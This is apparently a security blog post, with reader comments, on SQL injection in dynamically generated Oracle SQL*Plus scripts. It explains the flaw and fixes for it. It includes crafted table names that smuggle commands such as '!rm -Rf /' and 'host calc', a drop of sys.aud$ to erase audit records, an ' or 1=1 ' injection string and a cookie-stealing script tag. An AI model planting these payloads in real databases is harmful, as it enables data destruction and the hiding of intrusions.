Create Table “!rm -Rf /” (“‘ or 1=1–” a varchar2(1));

2 days ago I uploaded my HackInTheBox 2007 presentation “Hacking Hardened and Patched Oracle Databases” from Malaysia. In this presentation I showed different ways how to hack patched and hardened databases, remove traces from audit tables, …

I explained for example that many SQL*Plus scripts (created on the fly via SPOOL or dbms_output) are vulnerable against SQL Injection. Such a script looks like:
———————-

set heading off
spool /export/home/oracle/drop.sql

select ‘drop table ‘||table_name||’ cascade constraints ;’ from dba_tables where owner=’RDS';

spool off;

@/export/home/oracle/drop.sql

———————–

The problem with this script is that table_name is concatenated without input validation or the right usage of quotation characters. By creating a table called “sys.aud$” in the schema “RDS” it is possible to delete tables from another user (==> drop table sys.aud$) because SQL*Plus scripts are often generated and executed by a DBA user.

Instead of dropping tables it is even possible to run operating system commands (using the strings host,! or $, see vulnerable sample script). SQL*Plus is interpreting the characters ! (Unix) and $ (Windows) as operating system call (= host command).

The following SQL statements are correct but sometimes there are side effects…:

———————–

create table ” ‘ or 1=1 –” (a varchar2(1));

create table “<script>alert(document.cookie)” (“</script>” varchar2(1));

create table “!rm -Rf /” (a varchar2(1));

create table “host calc” (a varchar2(1));

———————–

3 Responses to “Create Table “!rm -Rf /” (“‘ or 1=1–” a varchar2(1));”

  1. Sven Vetter sagt:

    Hallo

    Habe das mal etwas durchgetestet. Sie haben recht, je nach Situation kann mit diesen Tabellennamen etwas passieren. Aber nicht in jedem Ihrer Beispiele.

    drop table !rm -Rf / cascade constraints;
    erzeugt z.B. einen Syntaxfehler, da ! das erste Zeichnen sein muss, damit ein Hostkommando ausgeführt wird.

    Genauso werden in den anderen Fällen (ausser sys.aud$) keine Aktionen ausgeführt.

    Trotzdem – klar dürfen keine solche Tabellennamen vorkommen – je nach Kontext kann etwas falsches/gefährliches rauskommen.

    Tipp:
    Ich schreibe Ihr Besispiellösch-Script nie so, wie sie es haben, da ich doch einige Applikationen mit Case-Sensitiven Tabellennamen kenne.

    Deswegen etwas besser und etwas sicherer:
    select ‘drop table “‘||table_name||'” cascade constraints ;” from dba_tables where owner=”RDS”;
    Also Tabellennamen in Doublequotes. Dann wird auch die “richtige” sys.aud$ gelöscht.

    Viele Grüsse
    Sven

  2. SQL> conn system/oracle
    Connected.
    SQL> create table “!rm -Rf /tmp/somestuff/” (a varchar2(1));

    Table created.

    SQL> drop table “!rm -Rf /tmp/somestuff/”;

    Table dropped.

    SQL> create table “!rm -Rf /tmp/somestuff/” (a varchar2(1));

    Table created.

    SQL> create synonym “DUAL” for “!rm -Rf /tmp/somestuff/”;

    Synonym created.

    SQL> desc dual
    Name Null? Type
    ———— ——– ————-
    A VARCHAR2(1)

    SQL> select * from dual;

    no rows selected

    SQL> drop synonym “DUAL”;

    Synonym dropped.

    SQL> desc dual
    Name Null? Type
    ———— ——– —————————————–
    DUMMY VARCHAR2(1)

    SQL> create synonym “DUAL” for “!rm -Rf /tmp/somestuff/”;

    Synonym created.

    SQL> select * from dual;

    no rows selected

    SQL> create or replace force view EMP
    2 as
    3 select * from “DUAL” ;

    View created.

    SQL> desc EMP
    Name Null? Type
    ———— ——– —————————————–
    A VARCHAR2(1)

    SQL> create or replace force view DEPT
    2 as
    3 select * from “!rm -Rf /tmp/somestuff/”;

    View created.

    SQL> create or replace force view DEPT
    2 as
    3 select * from “!rm -Rf /tmp/somestuff/”;

    View created.

    SQL> desc DEPT
    Name Null? Type
    ———— ——– —————————————–
    A VARCHAR2(1)

    SQL> select ‘drop table “‘||table_name||'” cascade constraints; ‘ from user_tables;

    ‘DROPTABLE”‘||TABLE_NAME||'”CASCADECONSTRAINTS;’
    ——————————————————————————–
    drop table “LOGMNR_PARAMETER$” cascade constraints;
    drop table “LOGMNR_SESSION$” cascade constraints;
    drop table “MVIEW$_ADV_WORKLOAD” cascade constraints;
    drop table “MVIEW$_ADV_BASETABLE” cascade constraints;

    …..

    drop table “!rm -Rf /tmp/somestuff/” cascade constraints;

    …..

    drop table “LOGMNR_GLOBAL$” cascade constraints;
    drop table “LOGMNR_SESSION_EVOLVE$” cascade constraints;
    drop table “LOGMNR_UID$” cascade constraints;

    154 rows selected.

    SQL> drop view emp;

    View dropped.

    SQL> drop view dept;

    View dropped.

    SQL> drop synonym dual;

    Synonym dropped.

    SQL> drop table “!rm -Rf /tmp/somestuff/”;

    Table dropped.

  3. In other words, Sven, don’t forget to use the double quotes…

Leave a Reply

You must be logged in to post a comment.